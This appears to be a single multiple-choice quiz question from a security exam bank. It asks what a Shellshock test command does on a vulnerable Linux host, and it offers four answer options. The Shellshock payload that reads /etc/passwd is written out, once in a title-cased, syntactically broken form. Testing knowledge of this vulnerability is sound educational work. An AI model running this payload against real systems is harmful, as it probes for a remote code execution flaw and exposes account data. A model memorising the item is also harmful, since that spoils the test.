Env X=`(){ :;};Echo Exploit` Bash -C 'Cat /Etc/passwd' What Is

env x=`() { :;};echo exploit` bash -c 'cat /etc/passwd' What is the Shellshock bash vulnerability attempting to do on an vulnerable Linux host?

A) Display passwd content to prompt
B) Removes the passwd file
C) Changes all passwords in passwd
D) Add new user to the passwd file